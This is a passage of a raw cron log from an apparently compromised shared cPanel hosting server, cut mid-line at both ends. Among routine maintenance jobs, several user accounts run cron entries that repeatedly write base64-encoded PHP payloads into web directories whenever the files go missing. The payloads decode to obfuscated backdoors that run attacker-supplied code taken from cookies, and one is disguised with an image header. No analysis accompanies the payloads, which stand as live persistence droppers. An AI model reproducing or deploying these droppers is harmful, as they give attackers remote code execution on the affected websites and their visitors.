"UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 20:29:02 medusa CROND[26543]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 20:29:02 medusa CROND[26545]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 20:30:01 medusa CROND[9290]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  1 20:30:01 medusa CROND[9415]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_db_cache && /usr/local/cpanel/scripts/update_db_cache)
Mar  1 20:30:02 medusa CROND[9667]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  1 20:30:02 medusa CROND[9669]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  1 20:30:02 medusa CROND[9670]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 20:30:02 medusa CROND[9671]: (root) CMD (/nutscripts/filtroh > /dev/null 2>&1)
Mar  1 20:30:02 medusa CROND[9673]: (servichina) CMD (php -q "/home4/servichina/public_html/wp-cron.php")
Mar  1 20:30:02 medusa CROND[9674]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  1 20:30:02 medusa CROND[9675]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 20:30:02 medusa CROND[9672]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Mar  1 20:30:02 medusa CROND[9676]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux-xray-plugin-check.cronlock /usr/share/lvemanager-xray/plugins/install-xray-plugin.py --check > /dev/null 2>&1)
Mar  1 20:30:02 medusa CROND[9683]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  1 20:30:02 medusa CROND[9685]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 20:30:02 medusa CROND[9682]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 20:30:02 medusa CROND[9691]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cagefs_exclude_users.cronlock /usr/share/cagefs/exclude_users_cleaner.py)
Mar  1 20:30:02 medusa CROND[9695]: (root) CMD (/nutscripts/control_exim.sh  >/dev/null 2>&1)
Mar  1 20:30:02 medusa CROND[9701]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 20:30:02 medusa CROND[9702]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 20:30:02 medusa CROND[9706]: (artconc) CMD (/usr/local/bin/php /home13/artconc/public_html/apis/clima/climaop/curl.php >/dev/null 2>&1)
Mar  1 20:30:02 medusa CROND[9716]: (dieg0fd) CMD (/usr/local/bin/php /home17/dieg0fd/public_html/wp-cron.php >/dev/null 2>&1)
Mar  1 20:30:02 medusa CROND[9719]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 20:30:02 medusa CROND[9721]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  1 20:30:02 medusa CROND[9688]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  1 20:30:02 medusa CROND[9707]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  1 20:30:02 medusa CROND[9729]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 20:30:02 medusa CROND[9734]: (root) CMD (/usr/bin/test -e /etc/cpanel-dovecot-solrdisable || /usr/local/cpanel/3rdparty/scripts/cpanel_dovecot_solr_commit)
Mar  1 20:30:02 medusa CROND[9735]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  1 20:30:02 medusa CROND[9744]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 20:30:02 medusa CROND[9713]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  1 20:30:02 medusa CROND[9749]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 20:30:02 medusa CROND[9752]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 20:30:02 medusa CROND[9750]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 20:30:02 medusa CROND[9751]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  1 20:31:01 medusa CROND[26641]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 20:31:01 medusa CROND[26758]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 20:31:01 medusa CROND[26826]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 20:31:01 medusa CROND[26827]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 20:31:01 medusa CROND[26829]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 20:31:01 medusa CROND[26831]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 20:31:01 medusa CROND[26835]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 20:31:01 medusa CROND[26842]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > 